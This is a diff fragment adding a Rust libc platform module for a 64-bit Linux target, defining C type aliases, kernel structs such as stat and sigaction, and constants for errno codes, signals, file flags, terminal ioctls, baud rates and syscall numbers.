++pub type c_long = i64;
++pub type c_ulong = u64;
++pub type wchar_t = ::c_int;
++
++pub type nlink_t = ::c_uint;
++pub type blksize_t = ::c_int;
++pub type fsblkcnt64_t = ::c_ulong;
++pub type fsfilcnt64_t = ::c_ulong;
++pub type suseconds_t = i64;
++pub type __u64 = ::c_ulonglong;
++
++s! {
++ pub struct pthread_attr_t {
++ __size: [::c_ulong; 7],
++ }
++
++ pub struct stat {
++ pub st_dev: ::dev_t,
++ pub st_ino: ::ino_t,
++ pub st_mode: ::mode_t,
++ pub st_nlink: ::nlink_t,
++ pub st_uid: ::uid_t,
++ pub st_gid: ::gid_t,
++ pub st_rdev: ::dev_t,
++ pub __pad1: ::dev_t,
++ pub st_size: ::off_t,
++ pub st_blksize: ::blksize_t,
++ pub __pad2: ::c_int,
++ pub st_blocks: ::blkcnt_t,
++ pub st_atime: ::time_t,
++ pub st_atime_nsec: ::c_long,
++ pub st_mtime: ::time_t,
++ pub st_mtime_nsec: ::c_long,
++ pub st_ctime: ::time_t,
++ pub st_ctime_nsec: ::c_long,
++ __unused: [::c_int; 2usize],
++ }
++
++ pub struct stat64 {
++ pub st_dev: ::dev_t,
++ pub st_ino: ::ino64_t,
++ pub st_mode: ::mode_t,
++ pub st_nlink: ::nlink_t,
++ pub st_uid: ::uid_t,
++ pub st_gid: ::gid_t,
++ pub st_rdev: ::dev_t,
++ pub __pad1: ::dev_t,
++ pub st_size: ::off64_t,
++ pub st_blksize: ::blksize_t,
++ pub __pad2: ::c_int,
++ pub st_blocks: ::blkcnt_t,
++ pub st_atime: ::time_t,
++ pub st_atime_nsec: ::c_long,
++ pub st_mtime: ::time_t,
++ pub st_mtime_nsec: ::c_long,
++ pub st_ctime: ::time_t,
++ pub st_ctime_nsec: ::c_long,
++ __unused: [::c_int; 2],
++ }
++
++ pub struct statfs {
++ pub f_type: ::c_long,
++ pub f_bsize: ::c_long,
++ pub f_blocks: ::fsblkcnt_t,
++ pub f_bfree: ::fsblkcnt_t,
++ pub f_bavail: ::fsblkcnt_t,
++ pub f_files: ::fsfilcnt_t,
++ pub f_ffree: ::fsfilcnt_t,
++ pub f_fsid: ::fsid_t,
++ pub f_namelen: ::c_long,
++ pub f_frsize: ::c_long,
++ pub f_flags: ::c_long,
++ pub f_spare: [::c_long; 4],
++ }
++
++ pub struct statfs64 {
++ pub f_type: ::c_long,
++ pub f_bsize: ::c_long,
++ pub f_blocks: ::fsblkcnt64_t,
++ pub f_bfree: ::fsblkcnt64_t,
++ pub f_bavail: ::fsblkcnt64_t,
++ pub f_files: ::fsfilcnt64_t,
++ pub f_ffree: ::fsfilcnt64_t,
++ pub f_fsid: ::fsid_t,
++ pub f_namelen: ::c_long,
++ pub f_frsize: ::c_long,
++ pub f_flags: ::c_long,
++ pub f_spare: [::c_long; 4],
++ }
++
++ pub struct statvfs {
++ pub f_bsize: ::c_ulong,
++ pub f_frsize: ::c_ulong,
++ pub f_blocks: ::fsblkcnt_t,
++ pub f_bfree: ::fsblkcnt_t,
++ pub f_bavail: ::fsblkcnt_t,
++ pub f_files: ::fsfilcnt_t,
++ pub f_ffree: ::fsfilcnt_t,
++ pub f_favail: ::fsfilcnt_t,
++ pub f_fsid: ::c_ulong,
++ pub f_flag: ::c_ulong,
++ pub f_namemax: ::c_ulong,
++ pub __f_spare: [::c_int; 6],
++ }
++
++ pub struct statvfs64 {
++ pub f_bsize: ::c_ulong,
++ pub f_frsize: ::c_ulong,
++ pub f_blocks: ::fsblkcnt64_t,
++ pub f_bfree: ::fsblkcnt64_t,
++ pub f_bavail: ::fsblkcnt64_t,
++ pub f_files: ::fsfilcnt64_t,
++ pub f_ffree: ::fsfilcnt64_t,
++ pub f_favail: ::fsfilcnt64_t,
++ pub f_fsid: ::c_ulong,
++ pub f_flag: ::c_ulong,
++ pub f_namemax: ::c_ulong,
++ pub __f_spare: [::c_int; 6],
++ }
++
++ pub struct siginfo_t {
++ pub si_signo: ::c_int,
++ pub si_errno: ::c_int,
++ pub si_code: ::c_int,
++ #[doc(hidden)]
++ #[deprecated(
++ since="0.2.54",
++ note="Please leave a comment on \
++ https://github.com/rust-lang/libc/pull/1316 if you're using \
++ this field"
++ )]
++ pub _pad: [::c_int; 29],
++ _align: [u64; 0],
++ }
++
++ pub struct stack_t {
++ pub ss_sp: *mut ::c_void,
++ pub ss_flags: ::c_int,
++ pub ss_size: ::size_t,
++ }
++
++ pub struct sigaction {
++ pub sa_sigaction: ::sighandler_t,
++ pub sa_mask: ::sigset_t,
++ pub sa_flags: ::c_int,
++ pub sa_restorer: ::Option<unsafe extern "C" fn()>,
++ }
++
++ pub struct ipc_perm {
++ pub __key: ::key_t,
++ pub uid: ::uid_t,
++ pub gid: ::gid_t,
++ pub cuid: ::uid_t,
++ pub cgid: ::gid_t,
++ pub mode: ::c_ushort,
++ __pad1: ::c_ushort,
++ pub __seq: ::c_ushort,
++ __pad2: ::c_ushort,
++ __unused1: ::c_ulong,
++ __unused2: ::c_ulong,
++ }
++
++ pub struct shmid_ds {
++ pub shm_perm: ::ipc_perm,
++ pub shm_segsz: ::size_t,
++ pub shm_atime: ::time_t,
++ pub shm_dtime: ::time_t,
++ pub shm_ctime: ::time_t,
++ pub shm_cpid: ::pid_t,
++ pub shm_lpid: ::pid_t,
++ pub shm_nattch: ::shmatt_t,
++ __unused5: ::c_ulong,
++ __unused6: ::c_ulong,
++ }
++
++ pub struct flock {
++ pub l_type: ::c_short,
++ pub l_whence: ::c_short,
++ pub l_start: ::off_t,
++ pub l_len: ::off_t,
++ pub l_pid: ::pid_t,
++ }
++
++ pub struct flock64 {
++ pub l_type: ::c_short,
++ pub l_whence: ::c_short,
++ pub l_start: ::off64_t,
++ pub l_len: ::off64_t,
++ pub l_pid: ::pid_t,
++ }
++
++ pub struct ip_mreqn {
++ pub imr_multiaddr: ::in_addr,
++ pub imr_address: ::in_addr,
++ pub imr_ifindex: ::c_int,
++ }
++}
++
++pub const POSIX_FADV_DONTNEED: ::c_int = 4;
++pub const POSIX_FADV_NOREUSE: ::c_int = 5;
++pub const VEOF: usize = 4;
++pub const RTLD_DEEPBIND: ::c_int = 0x8;
++pub const RTLD_GLOBAL: ::c_int = 0x100;
++pub const RTLD_NOLOAD: ::c_int = 0x4;
++pub const TIOCGSOFTCAR: ::c_ulong = 21529;
++pub const TIOCSSOFTCAR: ::c_ulong = 21530;
++pub const TIOCGRS485: ::c_int = 21550;
++pub const TIOCSRS485: ::c_int = 21551;
++pub const RLIMIT_RSS: ::__rlimit_resource_t = 5;
++pub const RLIMIT_AS: ::__rlimit_resource_t = 9;
++pub const RLIMIT_MEMLOCK: ::__rlimit_resource_t = 8;
++pub const RLIMIT_NOFILE: ::__rlimit_resource_t = 7;
++pub const RLIMIT_NPROC: ::__rlimit_resource_t = 6;
++pub const O_APPEND: ::c_int = 1024;
++pub const O_CREAT: ::c_int = 64;
++pub const O_EXCL: ::c_int = 128;
++pub const O_NOCTTY: ::c_int = 256;
++pub const O_NONBLOCK: ::c_int = 2048;
++pub const O_SYNC: ::c_int = 1052672;
++pub const O_RSYNC: ::c_int = 1052672;
++pub const O_DSYNC: ::c_int = 4096;
++pub const O_FSYNC: ::c_int = 1052672;
++pub const O_NOATIME: ::c_int = 262144;
++pub const O_PATH: ::c_int = 2097152;
++pub const O_TMPFILE: ::c_int = 4259840;
++pub const MAP_GROWSDOWN: ::c_int = 256;
++pub const EDEADLK: ::c_int = 35;
++pub const ENAMETOOLONG: ::c_int = 36;
++pub const ENOLCK: ::c_int = 37;
++pub const ENOSYS: ::c_int = 38;
++pub const ENOTEMPTY: ::c_int = 39;
++pub const ELOOP: ::c_int = 40;
++pub const ENOMSG: ::c_int = 42;
++pub const EIDRM: ::c_int = 43;
++pub const ECHRNG: ::c_int = 44;
++pub const EL2NSYNC: ::c_int = 45;
++pub const EL3HLT: ::c_int = 46;
++pub const EL3RST: ::c_int = 47;
++pub const ELNRNG: ::c_int = 48;
++pub const EUNATCH: ::c_int = 49;
++pub const ENOCSI: ::c_int = 50;
++pub const EL2HLT: ::c_int = 51;
++pub const EBADE: ::c_int = 52;
++pub const EBADR: ::c_int = 53;
++pub const EXFULL: ::c_int = 54;
++pub const ENOANO: ::c_int = 55;
++pub const EBADRQC: ::c_int = 56;
++pub const EBADSLT: ::c_int = 57;
++pub const EMULTIHOP: ::c_int = 72;
++pub const EOVERFLOW: ::c_int = 75;
++pub const ENOTUNIQ: ::c_int = 76;
++pub const EBADFD: ::c_int = 77;
++pub const EBADMSG: ::c_int = 74;
++pub const EREMCHG: ::c_int = 78;
++pub const ELIBACC: ::c_int = 79;
++pub const ELIBBAD: ::c_int = 80;
++pub const ELIBSCN: ::c_int = 81;
++pub const ELIBMAX: ::c_int = 82;
++pub const ELIBEXEC: ::c_int = 83;
++pub const EILSEQ: ::c_int = 84;
++pub const ERESTART: ::c_int = 85;
++pub const ESTRPIPE: ::c_int = 86;
++pub const EUSERS: ::c_int = 87;
++pub const ENOTSOCK: ::c_int = 88;
++pub const EDESTADDRREQ: ::c_int = 89;
++pub const EMSGSIZE: ::c_int = 90;
++pub const EPROTOTYPE: ::c_int = 91;
++pub const ENOPROTOOPT: ::c_int = 92;
++pub const EPROTONOSUPPORT: ::c_int = 93;
++pub const ESOCKTNOSUPPORT: ::c_int = 94;
++pub const EOPNOTSUPP: ::c_int = 95;
++pub const EPFNOSUPPORT: ::c_int = 96;
++pub const EAFNOSUPPORT: ::c_int = 97;
++pub const EADDRINUSE: ::c_int = 98;
++pub const EADDRNOTAVAIL: ::c_int = 99;
++pub const ENETDOWN: ::c_int = 100;
++pub const ENETUNREACH: ::c_int = 101;
++pub const ENETRESET: ::c_int = 102;
++pub const ECONNABORTED: ::c_int = 103;
++pub const ECONNRESET: ::c_int = 104;
++pub const ENOBUFS: ::c_int = 105;
++pub const EISCONN: ::c_int = 106;
++pub const ENOTCONN: ::c_int = 107;
++pub const ESHUTDOWN: ::c_int = 108;
++pub const ETOOMANYREFS: ::c_int = 109;
++pub const ETIMEDOUT: ::c_int = 110;
++pub const ECONNREFUSED: ::c_int = 111;
++pub const EHOSTDOWN: ::c_int = 112;
++pub const EHOSTUNREACH: ::c_int = 113;
++pub const EALREADY: ::c_int = 114;
++pub const EINPROGRESS: ::c_int = 115;
++pub const ESTALE: ::c_int = 116;
++pub const EDQUOT: ::c_int = 122;
++pub const ENOMEDIUM: ::c_int = 123;
++pub const EMEDIUMTYPE: ::c_int = 124;
++pub const ECANCELED: ::c_int = 125;
++pub const ENOKEY: ::c_int = 126;
++pub const EKEYEXPIRED: ::c_int = 127;
++pub const EKEYREVOKED: ::c_int = 128;
++pub const EKEYREJECTED: ::c_int = 129;
++pub const EOWNERDEAD: ::c_int = 130;
++pub const ENOTRECOVERABLE: ::c_int = 131;
++pub const EHWPOISON: ::c_int = 133;
++pub const ERFKILL: ::c_int = 132;
++
++pub const SOCK_STREAM: ::c_int = 1;
++pub const SOCK_DGRAM: ::c_int = 2;
++pub const SA_ONSTACK: ::c_int = 134217728;
++pub const SA_SIGINFO: ::c_int = 4;
++pub const SA_NOCLDWAIT: ::c_int = 2;
++pub const SIGTTIN: ::c_int = 21;
++pub const SIGTTOU: ::c_int = 22;
++pub const SIGXCPU: ::c_int = 24;
++pub const SIGXFSZ: ::c_int = 25;
++pub const SIGVTALRM: ::c_int = 26;
++pub const SIGPROF: ::c_int = 27;
++pub const SIGWINCH: ::c_int = 28;
++pub const SIGCHLD: ::c_int = 17;
++pub const SIGBUS: ::c_int = 7;
++pub const SIGUSR1: ::c_int = 10;
++pub const SIGUSR2: ::c_int = 12;
++pub const SIGCONT: ::c_int = 18;
++pub const SIGSTOP: ::c_int = 19;
++pub const SIGTSTP: ::c_int = 20;
++pub const SIGURG: ::c_int = 23;
++pub const SIGIO: ::c_int = 29;
++pub const SIGSYS: ::c_int = 31;
++pub const SIGSTKFLT: ::c_int = 16;
++pub const SIGPOLL: ::c_int = 29;
++pub const SIGPWR: ::c_int = 30;
++pub const SIG_SETMASK: ::c_int = 2;
++pub const SIG_BLOCK: ::c_int = 0;
++pub const SIG_UNBLOCK: ::c_int = 1;
++pub const POLLWRNORM: ::c_short = 256;
++pub const POLLWRBAND: ::c_short = 512;
++pub const O_ASYNC: ::c_int = 8192;
++pub const O_NDELAY: ::c_int = 2048;
++pub const PTRACE_DETACH: ::c_uint = 17;
++pub const EFD_NONBLOCK: ::c_int = 2048;
++pub const F_GETLK: ::c_int = 5;
++pub const F_GETOWN: ::c_int = 9;
++pub const F_SETOWN: ::c_int = 8;
++pub const F_SETLK: ::c_int = 6;
++pub const F_SETLKW: ::c_int = 7;
++pub const F_RDLCK: ::c_int = 0;
++pub const F_WRLCK: ::c_int = 1;
++pub const F_UNLCK: ::c_int = 2;
++pub const F_OFD_GETLK: ::c_int = 36;
++pub const F_OFD_SETLK: ::c_int = 37;
++pub const F_OFD_SETLKW: ::c_int = 38;
++pub const SFD_NONBLOCK: ::c_int = 2048;
++pub const TCSANOW: ::c_int = 0;
++pub const TCSADRAIN: ::c_int = 1;
++pub const TCSAFLUSH: ::c_int = 2;
++pub const TIOCLINUX: ::c_ulong = 21532;
++pub const TIOCGSERIAL: ::c_ulong = 21534;
++pub const TIOCEXCL: ::c_ulong = 21516;
++pub const TIOCNXCL: ::c_ulong = 21517;
++pub const TIOCSCTTY: ::c_ulong = 21518;
++pub const TIOCSTI: ::c_ulong = 21522;
++pub const TIOCMGET: ::c_ulong = 21525;
++pub const TIOCMBIS: ::c_ulong = 21526;
++pub const TIOCMBIC: ::c_ulong = 21527;
++pub const TIOCMSET: ::c_ulong = 21528;
++pub const TIOCCONS: ::c_ulong = 21533;
++pub const TIOCM_ST: ::c_int = 8;
++pub const TIOCM_SR: ::c_int = 16;
++pub const TIOCM_CTS: ::c_int = 32;
++pub const TIOCM_CAR: ::c_int = 64;
++pub const TIOCM_RNG: ::c_int = 128;
++pub const TIOCM_DSR: ::c_int = 256;
++pub const SFD_CLOEXEC: ::c_int = 524288;
++pub const NCCS: usize = 32;
++pub const O_TRUNC: ::c_int = 512;
++pub const O_CLOEXEC: ::c_int = 524288;
++pub const EBFONT: ::c_int = 59;
++pub const ENOSTR: ::c_int = 60;
++pub const ENODATA: ::c_int = 61;
++pub const ETIME: ::c_int = 62;
++pub const ENOSR: ::c_int = 63;
++pub const ENONET: ::c_int = 64;
++pub const ENOPKG: ::c_int = 65;
++pub const EREMOTE: ::c_int = 66;
++pub const ENOLINK: ::c_int = 67;
++pub const EADV: ::c_int = 68;
++pub const ESRMNT: ::c_int = 69;
++pub const ECOMM: ::c_int = 70;
++pub const EPROTO: ::c_int = 71;
++pub const EDOTDOT: ::c_int = 73;
++pub const SA_NODEFER: ::c_int = 1073741824;
++pub const SA_RESETHAND: ::c_int = -2147483648;
++pub const SA_RESTART: ::c_int = 268435456;
++pub const SA_NOCLDSTOP: ::c_int = 1;
++pub const EPOLL_CLOEXEC: ::c_int = 524288;
++pub const EFD_CLOEXEC: ::c_int = 524288;
++pub const __SIZEOF_PTHREAD_CONDATTR_T: usize = 4;
++pub const __SIZEOF_PTHREAD_MUTEXATTR_T: usize = 4;
++pub const O_DIRECT: ::c_int = 16384;
++pub const O_DIRECTORY: ::c_int = 65536;
++pub const O_NOFOLLOW: ::c_int = 131072;
++pub const MAP_HUGETLB: ::c_int = 262144;
++pub const MAP_LOCKED: ::c_int = 8192;
++pub const MAP_NORESERVE: ::c_int = 16384;
++pub const MAP_ANON: ::c_int = 32;
++pub const MAP_ANONYMOUS: ::c_int = 32;
++pub const MAP_DENYWRITE: ::c_int = 2048;
++pub const MAP_EXECUTABLE: ::c_int = 4096;
++pub const MAP_POPULATE: ::c_int = 32768;
++pub const MAP_NONBLOCK: ::c_int = 65536;
++pub const MAP_STACK: ::c_int = 131072;
++pub const MAP_SYNC: ::c_int = 0x080000;
++pub const EDEADLOCK: ::c_int = 35;
++pub const EUCLEAN: ::c_int = 117;
++pub const ENOTNAM: ::c_int = 118;
++pub const ENAVAIL: ::c_int = 119;
++pub const EISNAM: ::c_int = 120;
++pub const EREMOTEIO: ::c_int = 121;
++pub const FIOCLEX: ::c_ulong = 21585;
++pub const FIONCLEX: ::c_ulong = 21584;
++pub const FIONBIO: ::c_ulong = 21537;
++pub const MCL_CURRENT: ::c_int = 1;
++pub const MCL_FUTURE: ::c_int = 2;
++pub const SIGSTKSZ: ::size_t = 8192;
++pub const MINSIGSTKSZ: ::size_t = 2048;
++pub const CBAUD: ::tcflag_t = 4111;
++pub const TAB1: ::tcflag_t = 2048;
++pub const TAB2: ::tcflag_t = 4096;
++pub const TAB3: ::tcflag_t = 6144;
++pub const CR1: ::tcflag_t = 512;
++pub const CR2: ::tcflag_t = 1024;
++pub const CR3: ::tcflag_t = 1536;
++pub const FF1: ::tcflag_t = 32768;
++pub const BS1: ::tcflag_t = 8192;
++pub const VT1: ::tcflag_t = 16384;
++pub const VWERASE: usize = 14;
++pub const VREPRINT: usize = 12;
++pub const VSUSP: usize = 10;
++pub const VSTART: usize = 8;
++pub const VSTOP: usize = 9;
++pub const VDISCARD: usize = 13;
++pub const VTIME: usize = 5;
++pub const IXON: ::tcflag_t = 1024;
++pub const IXOFF: ::tcflag_t = 4096;
++pub const ONLCR: ::tcflag_t = 4;
++pub const CSIZE: ::tcflag_t = 48;
++pub const CS6: ::tcflag_t = 16;
++pub const CS7: ::tcflag_t = 32;
++pub const CS8: ::tcflag_t = 48;
++pub const CSTOPB: ::tcflag_t = 64;
++pub const CREAD: ::tcflag_t = 128;
++pub const PARENB: ::tcflag_t = 256;
++pub const PARODD: ::tcflag_t = 512;
++pub const HUPCL: ::tcflag_t = 1024;
++pub const CLOCAL: ::tcflag_t = 2048;
++pub const ECHOKE: ::tcflag_t = 2048;
++pub const ECHOE: ::tcflag_t = 16;
++pub const ECHOK: ::tcflag_t = 32;
++pub const ECHONL: ::tcflag_t = 64;
++pub const ECHOPRT: ::tcflag_t = 1024;
++pub const ECHOCTL: ::tcflag_t = 512;
++pub const ISIG: ::tcflag_t = 1;
++pub const ICANON: ::tcflag_t = 2;
++pub const PENDIN: ::tcflag_t = 16384;
++pub const NOFLSH: ::tcflag_t = 128;
++pub const CIBAUD: ::tcflag_t = 269418496;
++pub const CBAUDEX: ::tcflag_t = 4096;
++pub const VSWTC: usize = 7;
++pub const OLCUC: ::tcflag_t = 2;
++pub const NLDLY: ::tcflag_t = 256;
++pub const CRDLY: ::tcflag_t = 1536;
++pub const TABDLY: ::tcflag_t = 6144;
++pub const BSDLY: ::tcflag_t = 8192;
++pub const FFDLY: ::tcflag_t = 32768;
++pub const VTDLY: ::tcflag_t = 16384;
++pub const XTABS: ::tcflag_t = 6144;
++pub const B0: ::speed_t = 0;
++pub const B50: ::speed_t = 1;
++pub const B75: ::speed_t = 2;
++pub const B110: ::speed_t = 3;
++pub const B134: ::speed_t = 4;
++pub const B150: ::speed_t = 5;
++pub const B200: ::speed_t = 6;
++pub const B300: ::speed_t = 7;
++pub const B600: ::speed_t = 8;
++pub const B1200: ::speed_t = 9;
++pub const B1800: ::speed_t = 10;
++pub const B2400: ::speed_t = 11;
++pub const B4800: ::speed_t = 12;
++pub const B9600: ::speed_t = 13;
++pub const B19200: ::speed_t = 14;
++pub const B38400: ::speed_t = 15;
++pub const EXTA: ::speed_t = 14;
++pub const EXTB: ::speed_t = 15;
++pub const B57600: ::speed_t = 4097;
++pub const B115200: ::speed_t = 4098;
++pub const B230400: ::speed_t = 4099;
++pub const B460800: ::speed_t = 4100;
++pub const B500000: ::speed_t = 4101;
++pub const B576000: ::speed_t = 4102;
++pub const B921600: ::speed_t = 4103;
++pub const B1000000: ::speed_t = 4104;
++pub const B1152000: ::speed_t = 4105;
++pub const B1500000: ::speed_t = 4106;
++pub const B2000000: ::speed_t = 4107;
++pub const B2500000: ::speed_t = 4108;
++pub const B3000000: ::speed_t = 4109;
++pub const B3500000: ::speed_t = 4110;
++pub const B4000000: ::speed_t = 4111;
++pub const VEOL: usize = 11;
++pub const VEOL2: usize = 16;
++pub const VMIN: usize = 6;
++pub const IEXTEN: ::tcflag_t = 32768;
++pub const TOSTOP: ::tcflag_t = 256;
++pub const FLUSHO: ::tcflag_t = 4096;
++pub const EXTPROC: ::tcflag_t = 65536;
++pub const TCGETS: ::c_ulong = 21505;
++pub const TCSETS: ::c_ulong = 21506;
++pub const TCSETSW: ::c_ulong = 21507;
++pub const TCSETSF: ::c_ulong = 21508;
++pub const TCGETA: ::c_ulong = 21509;
++pub const TCSETA: ::c_ulong = 21510;
++pub const TCSETAW: ::c_ulong = 21511;
++pub const TCSETAF: ::c_ulong = 21512;
++pub const TCSBRK: ::c_ulong = 21513;
++pub const TCXONC: ::c_ulong = 21514;
++pub const TCFLSH: ::c_ulong = 21515;
++pub const TIOCINQ: ::c_ulong = 21531;
++pub const TIOCGPGRP: ::c_ulong = 21519;
++pub const TIOCSPGRP: ::c_ulong = 21520;
++pub const TIOCOUTQ: ::c_ulong = 21521;
++pub const TIOCGWINSZ: ::c_ulong = 21523;
++pub const TIOCSWINSZ: ::c_ulong = 21524;
++pub const FIONREAD: ::c_ulong = 21531;
++pub const __SIZEOF_PTHREAD_MUTEX_T: usize = 40;
++pub const __SIZEOF_PTHREAD_RWLOCK_T: usize = 56;
++pub const SYS_read: ::c_long = 63;
++pub const SYS_write: ::c_long = 64;
++pub const SYS_close: ::c_long = 57;
++pub const SYS_fstat: ::c_long = 80;
++pub const SYS_lseek: ::c_long = 62;
++pub const SYS_mmap: ::c_long = 222;
++pub const SYS_mprotect: ::c_long = 226;
++pub const SYS_munmap: ::c_long = 215;
++pub const SYS_brk: ::c_long = 214;
++pub const SYS_rt_sigaction: ::c_long = 134;
++pub const SYS_rt_sigprocmask: ::c_long = 135;
++pub const SYS_rt_sigreturn: ::c_long = 139;
++pub const SYS_ioctl: ::c_long = 29;
++pub const SYS_pread64: ::c_long = 67;
++pub const SYS_pwrite64: ::c_long = 68;
++pub const SYS_readv: ::c_long = 65;
++pub const SYS_writev: ::c_long = 66;
++pub const SYS_sched_yield: ::c_long = 124;
++pub const SYS_mremap: ::c_long = 216;
++pub const SYS_msync: ::c_long = 227;
++pub const SYS_mincore: ::c_long = 232;
++pub const SYS_madvise: ::c_long = 233;
++pub const SYS_shmget: ::c_long = 194;
++pub const SYS_shmat: ::c_long = 196;
++pub const SYS_shmctl: ::c_long = 195;
++pub const SYS_dup: ::c_long = 23;
++pub const SYS_nanosleep: ::c_long = 101;
++pub const SYS_getitimer: ::c_long = 102;
++pub const SYS_setitimer: ::c_long = 103;
++pub const SYS_getpid: ::c_long = 172;
++pub const SYS_sendfile: ::c_long = 71;
++pub const SYS_socket: ::c_long = 198;
++pub const SYS_connect: ::c_long = 203;
++pub const SYS_accept: ::c_long = 202;
++pub const SYS_sendto: ::c_long = 206;
++pub const SYS_recvfrom: ::c_long = 207;
++pub const SYS_sendmsg: ::c_long = 211;
++pub const SYS_recvmsg: ::c_long = 212;
++pub const SYS_shutdown: ::c_long = 210;
++pub const SYS_bind: ::c_long = 200;
++pub const SYS_listen: ::c_long = 201;
++pub const SYS_getsockname: ::c_long = 204;
++pub const SYS_getpeername: ::c_long = 205;
++pub const SYS_socketpair: ::c_long = 199;
++pub const SYS_setsockopt: ::c_long = 208;
++pub const SYS_getsockopt: ::c_long = 209;
++pub const SYS_clone: ::c_long = 220;
++pub const SYS_execve: ::c_long = 221;
++pub const SYS_exit: ::c_long = 93;
++pub const SYS_wait4: ::c_long = 260;
++pub const SYS_kill: ::c_long = 129;
++pub const SYS_uname: ::c_long = 160;
++pub const SYS_semget: ::c_long = 190;
++pub const SYS_semop: ::c_long = 193;
++pub const SYS_semctl: ::c_long = 191;
++pub const SYS_shmdt: ::c_long = 197;
++pub const SYS_msgget: ::c_long = 186;
++pub const SYS_msgsnd: ::c_long = 189;
++pub const SYS_msgrcv: ::c_long = 188;
++pub const SYS_msgctl: ::c_long = 187;
++pub const SYS_fcntl: ::c_long = 25;
++pub const SYS_flock: ::c_long = 32;
++pub const SYS_fsync: ::c_long = 82;
++pub const SYS_fdatasync: ::c_long = 83;
++pub const SYS_truncate: ::c_long = 45;
++pub const SYS_ftruncate: ::c_long = 46;
++pub const SYS_getcwd: ::c_long = 17;
++pub const SYS_chdir: ::c_long = 49;
++pub const SYS_fchdir: ::c_long = 50;
++pub const SYS_fchmod: ::c_long = 52;
++pub const SYS_fchown: ::c_long = 55;
++pub const SYS_umask: ::c_long = 166;
++pub const SYS_gettimeofday: ::c_long = 169;
++pub const SYS_getrlimit: ::c_long = 163;
++pub const SYS_getrusage: ::c_long = 165;
++pub const SYS_sysinfo: ::c_long = 179;
++pub const SYS_times: ::c_long = 153;
++pub const SYS_ptrace: ::c_long = 117;
++pub const SYS_getuid: ::c_long = 174;
++pub const SYS_syslog: ::c_long = 116;
++pub const SYS_getgid: ::c_long = 176;
++pub const SYS_setuid: ::c_long = 146;
++pub const SYS_setgid: ::c_long = 144;
++pub const SYS_geteuid: ::c_long = 175;
++pub const SYS_getegid: ::c_long = 177;
++pub const SYS_setpgid: ::c_long = 154;
++pub const SYS_getppid: ::c_long = 173;
++pub const SYS_setsid: ::c_long = 157;
++pub const SYS_setreuid: ::c_long = 145;
++pub const SYS_setregid: ::c_long = 143;
++pub const SYS_getgroups: ::c_long = 158;
++pub const SYS_setgroups: ::c_long = 159;
++pub const SYS_setresuid: ::c_long = 147;
++pub const SYS_getresuid: ::c_long = 148;
++pub const SYS_setresgid: ::c_long = 149;
++pub const SYS_getresgid: ::c_long = 150;
++pub const SYS_getpgid: ::c_long = 155;
++pub const SYS_setfsuid: ::c_long = 151;
++pub const SYS_setfsgid: ::c_long = 152;
++pub const SYS_getsid: ::c_long = 156;
++pub const SYS_capget: ::c_long = 90;
++pub const SYS_capset: ::c_long = 91;
++pub const SYS_rt_sigpending: ::c_long = 136;
++pub const SYS_rt_sigtimedwait: ::c_long = 137;
++pub const SYS_rt_sigqueueinfo: ::c_long = 138;
++pub const SYS_rt_sigsuspend: ::c_long = 133;
++pub const SYS_sigaltstack: ::c_long = 132;
++pub const SYS_personality: ::c_long = 92;
++pub const SYS_statfs: ::c_long = 43;
++pub const SYS_fstatfs: ::c_long = 44;
++pub const SYS_getpriority: ::c_long = 141;
++pub const SYS_setpriority: ::c_long = 140;
++pub const SYS_sched_setparam: ::c_long = 118;
++pub const SYS_sched_getparam: ::c_long = 121;
++pub const SYS_sched_setscheduler: ::c_long = 119;
++pub const SYS_sched_getscheduler: ::c_long = 120;
++pub const SYS_sched_get_priority_max: ::c_long = 125;
++pub const SYS_sched_get_priority_min: ::c_long = 126;
++pub const SYS_sched_rr_get_interval: ::c_long = 127;
++pub const SYS_mlock: ::c_long = 228;
++pub const SYS_munlock: ::c_long = 229;
++pub const SYS_mlockall: ::c_long = 230;
++pub const SYS_munlockall: ::c_long = 231;
++pub const SYS_vhangup: ::c_long = 58;
++pub const SYS_pivot_root: ::c_long = 41;
++pub const SYS_prctl: ::c_long = 167;
++pub const SYS_adjtimex: ::c_long = 171;
++pub const SYS_setrlimit: ::c_long = 164;
++pub const SYS_chroot: ::c_long = 51;
++pub const SYS_sync: ::c_long = 81;
++pub const SYS_acct: ::c_long = 89;
++pub const SYS_settimeofday: ::c_long = 170;
++pub const SYS_mount: ::c_long = 40;
++pub const SYS_umount2: ::c_long = 39;
++pub const SYS_swapon: ::c_long = 224;
++pub const SYS_swapoff: ::c_long = 225;
++pub const SYS_reboot: ::c_long = 142;
++pub const SYS_sethostname: ::c_long = 161;
++pub const SYS_setdomainname: ::c_long = 162;
++pub const SYS_init_module: ::c_long = 105;
++pub const SYS_delete_module: ::c_long = 106;
++pub const SYS_quotactl: ::c_long = 60;
++pub const SYS_nfsservctl: ::c_long = 42;
++pub const SYS_gettid: ::c_long = 178;
++pub const SYS_readahead: ::c_long = 213;
++pub const SYS_setxattr: ::c_long = 5;
++pub const SYS_lsetxattr: ::c_long = 6;
++pub const SYS_fsetxattr: ::c_long = 7;
++pub const SYS_getxattr: ::c_long = 8;
++pub const SYS_lgetxattr: ::c_long = 9;
++pub const SYS_fgetxattr: ::c_long = 10;
++pub const SYS_listxattr: ::c_long = 11;
++pub const SYS_llistxattr: ::c_long = 12;
++pub const SYS_flistxattr: ::c_long = 13;
++pub const SYS_removexattr: ::c_long = 14;
++pub const SYS_lremovexattr: ::c_long = 15;
++pub const SYS_fremovexattr: ::c_long = 16;
++pub const SYS_tkill: ::c_long = 130;
++pub const SYS_futex: ::c_long = 98;
++pub const SYS_sched_setaffinity: ::c_long = 122;
++pub const SYS_sched_getaffinity: ::c_long = 123;
++pub const SYS_io_setup: ::c_long = 0;
++pub const SYS_io_destroy: ::c_long = 1;
++pub const SYS_io_getevents: ::c_long = 4;
++pub const SYS_io_submit: ::c_long = 2;
++pub const SYS_io_cancel: ::c_long = 3;
++pub const SYS_lookup_dcookie: ::c_long = 18;
++pub const SYS_remap_file_pages: ::c_long = 234;
++pub const SYS_getdents64: ::c_long = 61;
++pub const SYS_set_tid_address: ::c_long = 96;
++pub const SYS_restart_syscall: ::c_long = 128;
++pub const SYS_semtimedop: ::c_long = 192;
++pub const SYS_fadvise64: ::c_long = 223;
++pub const SYS_timer_create: ::c_long = 107;
++pub const SYS_timer_settime: ::c_long = 110;
++pub const SYS_timer_gettime: ::c_long = 108;
++pub const SYS_timer_getoverrun: ::c_long = 109;
++pub const SYS_timer_delete: ::c_long = 111;
++pub const SYS_clock_settime: ::c_long = 112;
++pub const SYS_clock_gettime: ::c_long = 113;
++pub const SYS_clock_getres: ::c_long = 114;
++pub const SYS_clock_nanosleep: ::c_long = 115;
